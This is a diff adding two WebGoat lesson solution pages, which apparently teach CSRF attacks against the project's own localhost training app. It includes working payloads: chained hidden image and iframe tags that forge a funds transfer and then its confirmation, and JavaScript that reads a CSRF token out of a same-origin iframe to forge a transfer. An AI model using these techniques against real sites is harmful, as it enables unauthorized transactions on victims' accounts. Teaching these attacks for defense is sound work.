This change includes two additional CSRF lessons. One for
by-passing a prompt (showing why prompts don't work). The second for by-passing CSRF tokens when XSS exists. It also modifies the existing CSRF lesson so that the lesson can be extended and used by the two new lessons. git-svn-id: http://webgoat.googlecode.com/svn/trunk/webgoat@386 4033779f-a91e-0410-96ef-6bf7bf53c507
109
main/project/WebContent/lesson_solutions/CsrfPromptByPass.html
Normal file
@ -0,0 +1,109 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>Client Side Filtering</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b>Prompt By-Pass with CSRF</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing
|
||||
multiple requests to by-pass a scriptable user-prompt
|
||||
</p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple
|
||||
malicious requests: the first to transfer funds, and the second a request to confirm the prompt
|
||||
that the first request triggered. The URL should point to the CSRF lesson with an extra
|
||||
parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the
|
||||
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever
|
||||
receives this email and happens to be authenticated at that time will have his funds transferred.
|
||||
When you think the attack is successful, refresh the page and you will find the green check on
|
||||
the left hand side menu
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
|
||||
<p>Start by crafting an image or iframe tag similar to the CSRF LAB: <code><img
|
||||
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
|
||||
width="1" height="1" /></code>
|
||||
|
||||
This image request will not result in a transfer of funds but will instead
|
||||
prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the
|
||||
Lesson with the extra parameter of "transferFunds=4000" <br/>
|
||||
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/transferFundsPrompt.png" alt="User Prompt for confirmation of the transfer of funds" /><br>
|
||||
<font size="2"><b>User Prompt</b></font>
|
||||
</p>
|
||||
<p>
|
||||
Next look at the source of the page to see what parameters the confirmation requires.
|
||||
The form in the confirmation prompt looks like the following:
|
||||
<code>
|
||||
|
||||
<pre id="line548"><<span class="start-tag">form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=5&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CONFIRM'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CANCEL'</span>>
|
||||
</<span class="end-tag">form</span>></pre></code>
|
||||
|
||||
From this we see the next forged command will need the folllowing URL: <br/>
|
||||
<code>attack?Screen=5&menu=900&transferFunds=CONFIRM</code><br/>
|
||||
This solution shows how to do this attack with both iframes and images. The next step is to
|
||||
add the additional forged confirmation request. However, an additional iframe or image with
|
||||
this URL will not be sufficient. The second request must load after the first. So add
|
||||
Javascript to load the second command after the first. For iframes, make the onload attribute
|
||||
of the first frame set the src of the second iframe:<br/>
|
||||
|
||||
<code>
|
||||
<pre id="line578"><<span class="start-tag">iframe</span><span class="attribute-name">
|
||||
src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
|
||||
</span><span class="attribute-name">id</span>=<span class="attribute-value">"myFrame" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"
|
||||
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=CONFIRM';"</span>>
|
||||
</pre><pre id="line591"></<span class="end-tag">iframe</span>>
|
||||
|
||||
<<span class="start-tag">iframe</span><span class="attribute-name">
|
||||
id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>>
|
||||
</<span class="end-tag">iframe</span>>
|
||||
</pre>
|
||||
</code>
|
||||
|
||||
Next add the iframes into a message stored on the web page:<br/>
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHack.png" alt="Picture of embedded message" /><br>
|
||||
<font size="2"><b>Insert iframes hack picture</b></font><br/>
|
||||
<p>
|
||||
The following shows the result of clicking on the malicious iframe message:
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/iframePromptHacked.png" alt="Picture of the malicious iframe message" /><br>
|
||||
<font size="2"><b>Results of iframes hack picture</b></font><br/>
|
||||
In the above image, note that the first frame shows the user prompt, the result of the
|
||||
first forged request to transfer funds. In the second frame the results of the second
|
||||
forged request (the confirmation) are shown, indicating that 4000 dollars were successfully
|
||||
transfered. Refreshing the page will indicate that this lesson has been completed.
|
||||
</p>
|
||||
<p>
|
||||
In a real attack these results would be hidden from the end user. Click "restart this lesson"
|
||||
to attempt the attack again, only this time try hiding the attack with hidden or very small frames.
|
||||
</p>
|
||||
<p>
|
||||
For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror:
|
||||
<br/>
|
||||
<code>
|
||||
<img
|
||||
src="http://localhostattack?Screen=81&menu=210&transferFunds=5000"
|
||||
onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'"
|
||||
width="1" height="1" />
|
||||
<img
|
||||
id="image2"
|
||||
width="1" height="1" />
|
||||
</code>
|
||||
<br/>
|
||||
Next store the malicious images in a message and click the message to attempt the attack.
|
||||
<img src="lesson_solutions/CsrfPromptByPass_files/imgPromptHack.png" alt="Picture of the malicious iframe message" /><br>
|
||||
<font size="2"><b>Picture of adding malicious image requests</b></font><br/>
|
||||
Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit
|
||||
CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but
|
||||
not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.
|
||||
</body>
|
||||
</html>
|
After Width: | Height: | Size: 236 KiB |
After Width: | Height: | Size: 254 KiB |
After Width: | Height: | Size: 230 KiB |
After Width: | Height: | Size: 206 KiB |
After Width: | Height: | Size: 218 KiB |
After Width: | Height: | Size: 204 KiB |
After Width: | Height: | Size: 206 KiB |
121
main/project/WebContent/lesson_solutions/CsrfTokenByPass.html
Normal file
@ -0,0 +1,121 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|
||||
<title>CSRF Token By-Pass</title>
|
||||
<link rel="stylesheet" type="text/css" href="lesson_solutions/formate.css">
|
||||
</head>
|
||||
<body>
|
||||
<p><b>Lesson Plan Title:</b>CSRF Token Prompt By-Pass</p>
|
||||
|
||||
<p><b>Concept / Topic To Teach:</b><br/>
|
||||
This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into
|
||||
loading a page that contains a 'forged request' to execute commands with the
|
||||
victim's credentials. </p>
|
||||
|
||||
<p>Token-based request authentication deters these attacks. This technique
|
||||
inserts tokens into pages that issue requests. These tokens are required to
|
||||
complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses
|
||||
this technique to help prevent CSRF attacks.</p>
|
||||
|
||||
<p>However, this technique can be by-passed if CSS vulnerabilities exist on the same site.
|
||||
Because of the same-origin browser policy, pages from the same domain can read content from
|
||||
other pages from the same domain. </p>
|
||||
|
||||
<p><b>General Goal(s):</b><br/>
|
||||
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious
|
||||
request to transfer funds. To successfully complete you need to obtain a valid request token. The
|
||||
URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter
|
||||
"transferFunds=main". Load this page, read the token and append the token in a forged request
|
||||
to transferFunds. When you think the attack is successful, refresh the page and you will find the
|
||||
green check on the left hand side menu.
|
||||
</p>
|
||||
|
||||
<b>Solution:</b><br/>
|
||||
|
||||
<p>Similar to the CSRF LAB, you must forge a request that will transfer funds. However,
|
||||
a request will not result in a transfer of funds unless it has a correct token. To find
|
||||
a valid token, you could look at the form that the site generates to submit a transfer of funds.
|
||||
To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter
|
||||
of "transferFunds=main" <br/>
|
||||
|
||||
<img src="lesson_solutions/CsrfTokenByPass_files/tokenPage.png" alt="Picture of transfer initiation form" /><br>
|
||||
<font size="2"><b>Transfer initiation form</b></font>
|
||||
</p>
|
||||
<p>
|
||||
Next look at the source of the page to see what parameter the token comes in.
|
||||
<code>
|
||||
<pre id="line538"><span class="start-tag"><form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">id</span>=<span class="attribute-value">'transferForm' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=2&menu=900' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'text' </span><span class="attribute-name">value</span>=<span class="attribute-value">'0'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'CSRFToken' </span><span class="attribute-name">type</span>=<span class="attribute-value">'hidden' </span><span class="attribute-name">value</span>=<span class="attribute-value">'1745740650'</span>>
|
||||
<<span class="start-tag">input</span><span class="attribute-name"> type</span>=<span class="attribute-value">'submit'</span>>
|
||||
</pre><pre id="line555"></<span class="end-tag">form</span>></pre>
|
||||
</code>
|
||||
From this we see a forged command will need the <i>CSRFToken</i> parameter. <br/>
|
||||
|
||||
<p>This solution loads this page in an iframe and reads the token out of the frame.
|
||||
Note that this is possible because the message originates from the same domain and
|
||||
does not violate the "same origin policy". So even thought this page has taken
|
||||
measures to prevent CSRF attacks, those measures can be side-stepped because of
|
||||
CSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the
|
||||
frame, then the form, then saves the token </p>
|
||||
|
||||
<code><pre>
|
||||
var tokenvalue;
|
||||
|
||||
function readFrame1()
|
||||
{
|
||||
var frameDoc = document.getElementById("frame1").contentDocument;
|
||||
var form = frameDoc.getElementsByTagName("Form")[0];
|
||||
var token = form.CSRFToken.value;
|
||||
tokenvalue = '&CSRFToken='+token;
|
||||
|
||||
loadFrame2();
|
||||
}
|
||||
|
||||
function loadFrame2()
|
||||
{
|
||||
var testFrame = document.getElementById("frame2");
|
||||
testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;
|
||||
}
|
||||
</pre></code>
|
||||
|
||||
<p>readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2
|
||||
LoadFrame2 will then append the token and load a second frame. </p>
|
||||
|
||||
The following frames loads the transfer page in the first frame. When it finishes loading, it will
|
||||
call readFrame1, which calls loadFrame2, which then sets the src for the second iframe.
|
||||
|
||||
<code><pre></pre></code>
|
||||
|
||||
|
||||
<code>
|
||||
<pre id="line585"><<span class="start-tag">iframe</span><span class="attribute-name"> src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main"
|
||||
</span><span class="attribute-name">onload</span>=<span class="attribute-value">"readFrame1();"
|
||||
</span><span class="attribute-name">id</span>=<span class="attribute-value">"frame1" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
|
||||
<<span class="start-tag">iframe</span><span class="attribute-name"> id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
|
||||
</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>></<span class="end-tag">iframe</span>>
|
||||
</pre>
|
||||
</code>
|
||||
|
||||
<p>The next picture shows inserting this code into a message:<br/>
|
||||
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHack.png" alt="Picture of inserting CSRF code in web page" /><br>
|
||||
<font size="2"><b>Inserting CSRF code into message</b></font><br/><br/>
|
||||
|
||||
The following picture shows the results of someone hitting this page. Note that no effort was taken to
|
||||
hide the results of the two frames. The first frame shows the transfer funds form, and the second shows
|
||||
the results of the CSRF attack. Try another post that will hide these iframes from being noticed.
|
||||
<p>The next picture shows inserting this code into a message:<br/>
|
||||
<img src="lesson_solutions/CsrfTokenByPass_files/tokenHacked.png" alt="Picture of the results of viewing the malicious message" /><br>
|
||||
<font size="2"><b>Results of viewing the malicious message</b></font>
|
||||
|
||||
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
After Width: | Height: | Size: 237 KiB |
After Width: | Height: | Size: 312 KiB |
After Width: | Height: | Size: 228 KiB |